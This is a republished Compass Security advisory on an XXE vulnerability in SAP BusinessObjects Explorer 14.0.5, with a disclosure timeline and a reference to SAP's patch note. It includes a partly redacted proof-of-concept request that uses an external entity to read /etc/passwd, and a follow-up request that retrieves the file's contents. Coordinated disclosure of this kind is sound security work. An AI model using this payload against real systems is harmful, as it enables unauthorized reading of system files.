Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31161
HistoryOct 14, 2014 - 12:00 a.m.

SAP Security Note 1908531 - XXE in BusinessObjects Explorer

2014-10-1400:00:00
vulners.com
49

#######################################################################

COMPASS SECURITY ADVISORY

http://www.csnc.ch/en/downloads/advisories.html

#######################################################################

Product: BusinessObjects Explorer

Vendor: SAP AG

Subject: Untrusted XML input parsing possible in SBOP Explorer

Risk: High

Effect: Remotely exploitable

Author: Stefan Horlacher

Date: 2014-10-10

SAP Security Note: 1908531 [0]

#######################################################################

Abstract:

BusinessObjects Explorer is vulnerable against XML External Entity (XXE)
attacks. This affected the whole application and not only the examples
described below.
This vulnerability could be triggered as unauthenticated user, as the
login request uses vulnerable XML processing as well.

Affected:

Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer

Technical Description:

BusinessObjects Explorer does not validate user-defined XML inputs.
Additionally, the service does run an XML interpreter allowing
references to external entities. This leads to XML External Entity (XXE)
attacks [1].

In the following example, an explorationSpaceUpdate request has been
used to store in the value of a country the content of file /etc/passwd:

URL: /explorer/polestar_xml.jsp
Request extract:
	POST /explorer/polestar_xml.jsp HTTP/1.1
	[CUT BY COMPASS]
	Content-Length: 33258

=> xmlParameter=<!DOCTYPE dataDiscovery [ <!ENTITY include SYSTEM "/etc/passwd">]>
<dataDiscovery><headers><correlationId>7E7B01A6-E238-716E-2082-
0EB94532438F</correlationId><transactionId>0F14D6BC-ED78-8570-1415-
0EB94532416E</transactionId></headers><session token="[CUT BY COMPASS]"
locale="en_US"/><request><explorationSpaceUpdate infoObjectCUID="[CUT BY COMPASS]"
displayName="" infospaceVersion="2" tip="[CUT BY COMPASS]" [CUT BY COMPASS]
<value>%26include;</value><items selected="[CUT BY
COMPASS]"/></row><row><value>AT</value><items selected="[CUT BY
COMPASS]"/></row><row><value>AU</value><items selected="[CUT BY
COMPASS]"/></row><row><value>BD</value><items
[CUT BY COMPASS]
Response extract:
HTTP/1.1 200 OK
[CUT BY COMPASS]
Content-Length: 214
<?xml version="1.0" encoding="UTF-8"
=> standalone="no"?><dataDiscovery><response><explorationSpaceUpdate id="[CUT BY COMPASS]"
infoObjectCUID="[CUT BY COMPASS]"/></response></dataDiscovery>

The following explorationSpaceDetail request has been used to retrieve
the stored value.

URL: /explorer/polestar_xml.jsp
Request extract:
	POST /explorer/polestar_xml.jsp HTTP/1.1
	[CUT BY COMPASS]
	Content-Length: 533
	xmlParameter=&#37;3CdataDiscovery&#37;3E&#37;3Cheaders&#37;3E&#37;3CcorrelationId&#37;3E[CUT BY
	COMPASS]&#37;3C&#37;2FcorrelationId&#37;3E&#37;3CtransactionId&#37;3E[CUT BY
	COMPASS]&#37;3C&#37;2FtransactionId&#37;3E&#37;3C&#37;2Fheaders&#37;3E&#37;3Csession&#37;20token&#37;3D&#37;22[CUT BY

=> COMPASS]%22%20locale%3D%22en%5FUS%22%2F%3E%3Crequest%3E%3CexplorationSpaceDetail%20id%3D
%22[CUT BY COMPASS]%22%2F%3E%3C%2Frequest%3E%3C%2FdataDiscovery%3E
Response extract:
HTTP/1.1 200 OK
[CUT BY COMPASS]
=> <value>root:!:0:0::/:/usr/bin/ksh
[CUT BY COMPASS]

Timeline:

2013-06-06: Discovery by Stefan Horlacher
2013-06-26: Initial vendor notification
2014-06-10: Vendor releases patch and SAP Security Note 1908531
2014-10-10: Disclosure of the advisory

References:

[0] https://service.sap.com/sap/support/notes/1908531
[1] https://www.owasp.org/index.php/XML_External_Entity_&#40;XXE&#41;_Processing